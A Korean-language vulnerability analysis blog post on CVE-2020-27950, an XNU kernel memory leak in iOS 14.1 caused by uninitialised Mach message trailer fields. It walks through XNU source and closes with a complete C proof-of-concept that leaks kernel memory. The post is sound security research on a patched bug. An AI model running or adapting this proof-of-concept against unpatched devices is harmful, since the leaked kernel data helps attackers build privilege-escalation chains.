ii4gsp

[1-day Analysis] CVE-2020-27950 ( iOS 14.1 XNU Kernel Memory Leak ) 본문

시스템 해킹/Kernel

[1-day Analysis] CVE-2020-27950 ( iOS 14.1 XNU Kernel Memory Leak )

ii4gsp 2021. 3. 29. 22:28

googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2020/CVE-2020-27950.html

www.synacktiv.com/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak.html

 

iOS 1-day hunting: uncovering and exploiting CVE-2020-27950 kernel memory leak

Back in the beginning of November, Project Zero announced that Apple has patched a full chain of vulnerabilities that were actively exploited in the wild. This chain consists in 3 vulnerabilities: a userland RCE in FontParser as well as a memory leak and a

www.synacktiv.com

 

CVE-2020-27950: XNU Kernel Memory Disclosure in Mach Message Trailers

Information about 0-days exploited in-the-wild!

googleprojectzero.github.io

 

 

Disclosure or Patch Date: November 5 2020
Product: Apple iOS
Affected Versions: iOS 14.1 and before
First Patched Version: iOS 14.2
Bug Class: Information leak

CVE-2020-27950은 Project-Zero 팀에서 발견한 커널 메모리를 유출할 수 있는 취약점이다.

취약점 원인은 mach 메시지를 수신하고 잘못된 요청을할 때 잘못된 크기 계산으로 발생한다.

 

취약점 패치가 이루이진 함수는 총 5개로 구성된다.

 

mach_msg_send()

mach_msg_overwrite()

ipc_kmsg_get()

ipc_kmsg_get_from_kernel()

ipc_kobject_server()

 

이 5개의 함수는 공통점이 있는데 모두 ipc_kmsg 객체를 처리한다.

kmsg 객체는 mach 메시지의 커널 표현으로 아주 복잡한 구조로 이루어져있다.

 

 

typedef struct{
	mach_msg_trailer_type_t       msgh_trailer_type;
	mach_msg_trailer_size_t       msgh_trailer_size;
} mach_msg_trailer_t;

typedef struct{
	mach_msg_trailer_type_t       msgh_trailer_type;
	mach_msg_trailer_size_t       msgh_trailer_size;
	mach_port_seqno_t             msgh_seqno;
	security_token_t              msgh_sender;
	audit_token_t                 msgh_audit;
	mach_port_context_t           msgh_context;
	int                           msgh_ad;
	msg_labels_t                  msgh_labels;
} mach_msg_mac_trailer_t;

#define MACH_MSG_TRAILER_MINIMUM_SIZE  sizeof(mach_msg_trailer_t)
typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t;
#define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t))

새로운 kmsg를 만들때 ipc_kmsg trailer가 사용된다.

ipc_kmsg tariler는 유형에 따라 크기가 동적인 구조이다.

가장 작은 트레일러는 유형과 크기만 포함하여 8 바이트 구조이고,

크기가 가장 큰 트레일러는 길이가 0x44 바이트이다.

커널은 메시지를 수신 할 때 어떤 트레일러 유형이 요청되는지 알지 못하여 가장 큰 크기를 예약하고 일부 필드를 초기화하며 유형을 가장 작게 설정한다.

 

 

	trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size);
	trailer->msgh_sender = current_thread()->task->sec_token;
	trailer->msgh_audit = current_thread()->task->audit_token;
	trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0;
	trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE;
#ifdef ppc
	if(trcWork.traceMask) dbgTrace(0x1100, (unsigned int)kmsg->ikm_header->msgh_id, 
		(unsigned int)kmsg->ikm_header->msgh_remote_port, 
		(unsigned int)kmsg->ikm_header->msgh_local_port, 0); 
#endif
	trailer->msgh_labels.sender = 0;
	*kmsgp = kmsg;
	return MACH_MSG_SUCCESS;
}

 

ipc_kmsg_get() 함수의 트레일러를 초기화하는 부분이다.

msgh_sender, msgh_audit, msgh_trailer_type, msgh_tariler_size, msgh_labels를 제외한 나머지 3개의 필드는 초기화 과정이 보이지 않는다.

 

 

mach_msg_trailer_size_t
ipc_kmsg_add_trailer(ipc_kmsg_t kmsg, ipc_space_t space __unused, 
		mach_msg_option_t option, thread_t thread, 
		mach_port_seqno_t seqno, boolean_t minimal_trailer,
		mach_vm_offset_t context)
{
	mach_msg_max_trailer_t *trailer;
#ifdef __arm64__
	mach_msg_max_trailer_t tmp_trailer; /* This accommodates U64, and we'll munge */ [A]
	void *real_trailer_out = (void*)(mach_msg_max_trailer_t *)
		((vm_offset_t)kmsg->ikm_header +
		 round_msg(kmsg->ikm_header->msgh_size));
	/* 
	 * Populate scratch with initial values set up at message allocation time.
	 * After, we reinterpret the space in the message as the right type 
	 * of trailer for the address space in question.
	 */
	bcopy(real_trailer_out, &tmp_trailer, MAX_TRAILER_SIZE); [B]
	trailer = &tmp_trailer;
#else /* __arm64__ */
	(void)thread;
	trailer = (mach_msg_max_trailer_t *)
		((vm_offset_t)kmsg->ikm_header +
		 round_msg(kmsg->ikm_header->msgh_size));
#endif /* __arm64__ */
	if (!(option & MACH_RCV_TRAILER_MASK)) { [C]
		return trailer->msgh_trailer_size;
	}
	trailer->msgh_seqno = seqno;
	trailer->msgh_context = context;
	trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option); [D]

xnu/osfmk/ipc/ipc_kmsg.c에 정의되어 있는 ipc_kmsg_add_trailer() 함수이다.

위에 보이는 부분은 출력할 트레일러의 크기를 계산하는 부분이다.

A: 새로운 트레일러가 스택에 저장된다.

B: kmsg trailer content가 새로운 트레일러에 복사된다.

C: option 인자는 MACH_RCV_TARILER_MASK로 검사를 한다.

D: REQUESTED_TRAILER_SIZE() 매크로를 사용하여 실제 트레일러의 사이즈를 계산한다.

 

 

#define MACH_RCV_TRAILER_NULL   0
#define MACH_RCV_TRAILER_SEQNO  1
#define MACH_RCV_TRAILER_SENDER 2
#define MACH_RCV_TRAILER_AUDIT  3
#define MACH_RCV_TRAILER_CTX    4
#define MACH_RCV_TRAILER_AV     7
#define MACH_RCV_TRAILER_LABELS 8

#define MACH_RCV_TRAILER_TYPE(x)     (((x) & 0xf) << 28)
#define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24)
#define MACH_RCV_TRAILER_MASK        ((0xf << 24))

xnu/osfmk/mach/message.h 에는 커널에 특정 트레일러 크기를 반환하도록 요청할 수 있는 매크로가 정의되어 있다.

 

 

	trailer->msgh_seqno = seqno; [A]
	trailer->msgh_context = context;
	trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option);
	if (minimal_trailer) { [B]
		goto done;
	}
	if (MACH_RCV_TRAILER_ELEMENTS(option) >= 
			MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_AV)){ [C]
		trailer->msgh_ad = 0;
	}
	/*
	 * The ipc_kmsg_t holds a reference to the label of a label
	 * handle, not the port. We must get a reference to the port
	 * and a send right to copyout to the receiver.
	 */
	if (option & MACH_RCV_TRAILER_ELEMENTS (MACH_RCV_TRAILER_LABELS)) {
		trailer->msgh_labels.sender = 0;
	}
done:
#ifdef __arm64__
	ipc_kmsg_munge_trailer(trailer, real_trailer_out, thread_is_64bit_addr(thread)); [D]
#endif /* __arm64__ */
	return trailer->msgh_trailer_size;
}

ipc_kmsg_add_trailer() 함수의 일부이다.

우리는 ipc_kmsg_get() 함수에서 트레일러를 초기화하는 과정에서 초기화 되지않은 3개의 필드를 보았다.

초기화 되지않은 나머지 3개의 필드를 초기화하는 과정을 담고 있다.

 

A: msgh_seqno, msgh_context 필드를 트레일러의 사본으로 초기화한다.

B: 함수에 전달 된 부분을 검사하여 조기 반환을 한다. (mach_msg_receive_results() 함수에서 호출할때는 false)

C: 전달된 option이 MACH_RCV_TRAILER_AV 보다 크거나 같은지 검사를 한다.

크거나 같으면 msgh_ad를 0으로 초기화 시킨다.

D: msgh_seqno, msgh_context, msgh_trailer_size, msgh_ad 필드를 기존의 트레일러로 복사한다.

 

지금까지는 아무런 버그도 없어 보이지만,

모든 필드가 사용자 영역으로 반환되기 전에 올바르게 초기화된것 처럼 보인다.

트레일러의 실제 사이즈를 구하는 REQUESTED_TRAILER_SIZE() 매크로가 계산하는 방법을 분석해봐야 한다.

 

 

#define REQUESTED_TRAILER_SIZE(is64, y) REQUESTED_TRAILER_SIZE_NATIVE(y)
#define REQUESTED_TRAILER_SIZE_NATIVE(y)                        \
	((mach_msg_trailer_size_t)                              \
	 ((GET_RCV_ELEMENTS(y) == MACH_RCV_TRAILER_NULL) ?      \
	  sizeof(mach_msg_trailer_t) :                          \
	  ((GET_RCV_ELEMENTS(y) == MACH_RCV_TRAILER_SEQNO) ?    \
	   sizeof(mach_msg_seqno_trailer_t) :                   \
	  ((GET_RCV_ELEMENTS(y) == MACH_RCV_TRAILER_SENDER) ?   \
	   sizeof(mach_msg_security_trailer_t) :                \
	   ((GET_RCV_ELEMENTS(y) == MACH_RCV_TRAILER_AUDIT) ?   \
	    sizeof(mach_msg_audit_trailer_t) :                  \
	    ((GET_RCV_ELEMENTS(y) == MACH_RCV_TRAILER_CTX) ?    \
	     sizeof(mach_msg_context_trailer_t) :               \
	     ((GET_RCV_ELEMENTS(y) == MACH_RCV_TRAILER_AV) ?    \
	      sizeof(mach_msg_mac_trailer_t) :                  \
	     sizeof(mach_msg_max_trailer_t))))))))

REQUESTED_TRAILER_SIZE() 매크로는 option 값이 알려진 경우 올바른 크기를 계산하여 반환하지만

반대로 option 값을 MACH_RCV_TRAILER_AV 보다 낮게 설정하고 존재하지 않는 값으로 한다면 최대 크기로 반환이 된다.

그리고 msgh_ad 필드는 초기화 과정을 거치지않게 된다.

 

 

// CVE-2020-27950 POC
#endif

#include <stdio.h>
#include <stdlib.h>

#include <mach/mach.h>

extern mach_port_t mach_reply_port(void);

uint32_t disclose_dword_for_size(uint32_t send_msg_size) {
    kern_return_t err;

    mach_msg_header_t* msg = malloc(send_msg_size);
    memset(msg, 0, send_msg_size);

    mach_port_t p = mach_reply_port();

    msg->msgh_bits = MACH_MSGH_BITS_SET_PORTS(MACH_MSG_TYPE_MAKE_SEND, 0, 0);
    msg->msgh_remote_port = p;
    msg->msgh_size = send_msg_size;

    err = mach_msg_send(msg);
    if (err != KERN_SUCCESS) {
        printf("send failed\n");
        return 0;
    }

    size_t rcv_msg_size = send_msg_size + 0x100;
    mach_msg_header_t* rcv = malloc(rcv_msg_size);
    memset(rcv, 0, rcv_msg_size);

    err = mach_msg(rcv,
                   MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_SEQNO | MACH_RCV_TRAILER_CTX) | MACH_RCV_MSG,
                   0,
                   rcv_msg_size,
                   p,
                   0,
                   0);
    if (err != KERN_SUCCESS) {
        printf("failed to receive message\n");
        return 0;
    }
    if (rcv->msgh_size > send_msg_size) {
        printf("invalid msgh_size\n");
        return 0;
    }
    uint32_t uninit = *(uint32_t*)(((uint8_t*)rcv) + rcv->msgh_size + 0x3c);
    return uninit;
}

int main() {

    for (size_t size = 0x200; size < 0x1000; size += 0x14) {
        for (int i = 0; i < 20; i++) {
            uint32_t val = disclose_dword_for_size(size);
            if (val != 0) {
                printf("0x%08x\n", val);
            }
        }
    }
    return 0;
}

취약점을 트리거하는 POC 코드이다.

POC를 실행하면 초기화 과정을 생략하는 msgh_ad의 값을 유출한다.

Comments